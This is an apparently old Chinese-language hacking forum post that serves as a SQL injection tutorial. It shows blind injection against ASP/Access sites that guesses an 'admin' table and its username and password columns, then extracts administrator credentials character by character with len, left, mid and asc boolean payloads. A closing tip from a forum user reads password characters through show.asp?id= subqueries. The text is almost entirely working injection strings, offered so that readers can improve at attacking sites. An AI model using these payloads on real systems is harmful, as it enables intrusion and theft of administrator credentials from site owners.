Injection的猜测技术的一些相关总结
通过1=1和1=2来简单检测页面的脚本安全性这里已经没必要再说了
在前阵子发的本周日程中列入了以下的计划 现在把他完善
首
0<>(select count(*) from admin)
这里的admin就是我们猜测的存放管理员信息的表 现在假设猜测到了
0<>(select count(*) from admin where username<>'')
猜测admin表里用来存放用户名的列叫username
0<>(select count(*) from admin where password<>'')
猜测admin表里用来存放密码的列叫password
假设已经对了 此时我们就可以在页面直接用
and 'EvilOctal''=(select username from admin where username='EvilOctal')
猜解管理员的名字 其实不用猜测 因为一般名字都可以在文章或者软件的添加者那里找到
仔细看就可以发现我们每句都只有一个未知参数 我都用黑体表示了
<1>可以找到管理员用户名的情况下进行直接猜解密码
密码长度我们猜测是5位
and 'EvilOctal'=(select username from admin where len(password)=5)
密码的前5位是admin
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
<2>无法得到管理员用户名的情况下用id进行猜解而逐位猜测用户名
已经无法在页面找到管理员的名字了 那就这样
and 1=(select min(id) from admin)
假设对了我们就知道管理员的最小id是1 那就猜测名字长度
and 1=(select min(id) from admin where len(username)=9)
管理员的名字是9位的 那每一位是什么呢 我们猜测管理员用户名左边开始第二位是v
and 1=(select min(id) from admin where mid(username,2,1)='v')
假设全部猜测出来 EvilOctal 现在来看密码
and 1=(select min(id) from admin where len(password)>7)
以上是猜测密码为数范围 如果确定为数就可以直接猜测 以下两句
and 'EvilOctal'=(select username from admin where left(password,5)='admin')
上面是说猜测密码的前5位是admin 下面的则说密码的第5位是n
and 1=(select min(id) from admin where mid(password,5,1)='n')
<3>管理员密码中文的情况下使用ascii转换进行猜测
至于转换ascii猜测的方法
取得id后可以这样使用你所取得的id 这里假设是1
那么 用户名长度就应该这样猜
and 1=(select id from admin where len(admin)=9)
然后猜测用户名转换ascii句子自己对比 下面的意思都是猜测管理员名左边第二位是t 前一句比较常用
and 1=(select id from admin where asc(mid(admin,2,1))=116)
and 1=(select min(id) from admin where mid(username,2,1)='t')
至于密码 看 以下两句都是说猜测密码的第2位是t
and 1=(select id from admin where asc(mid(password,2,1))=116)
and 1=(select min(id) from admin where mid(password,2,1)='t')
以上就是我的一点小总结 希望能在注入中有所提高......
下面是论坛高手oldduck说的一个新思路的小方法
也许很多高手都已经想到了 甚至熟练掌握了 我比较菜 当新东西发了
高手oldduck的话:
找到一个页面可以显示新闻的漏洞页面,比如show.asp?id=123
然后用
show.asp?id=(select top 1 len(password) from admin)
假设有新闻成功显示
字段库名都是正确的情况下 到列表页面或者搜索页面找到这则文章看链接
假设是show.asp?id=6 那么长度就是6
然后猜1到6位的密码
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)
用同样的方法找到链接 看id值 再从ascii表中查出字符
如果显示找不到新闻的话 可以用
show.asp?id=(select top 1 asc(mid(password,1,1)) from admin)-(-10)
这样来加一个基数 或者减一个数
......
方法真是coolB了
Tags:
作者:无从考证评论内容只代表网友观点,与本站立场无关!
评论摘要(共 0 条,得分 0 分,平均 0 分)
查看完整评论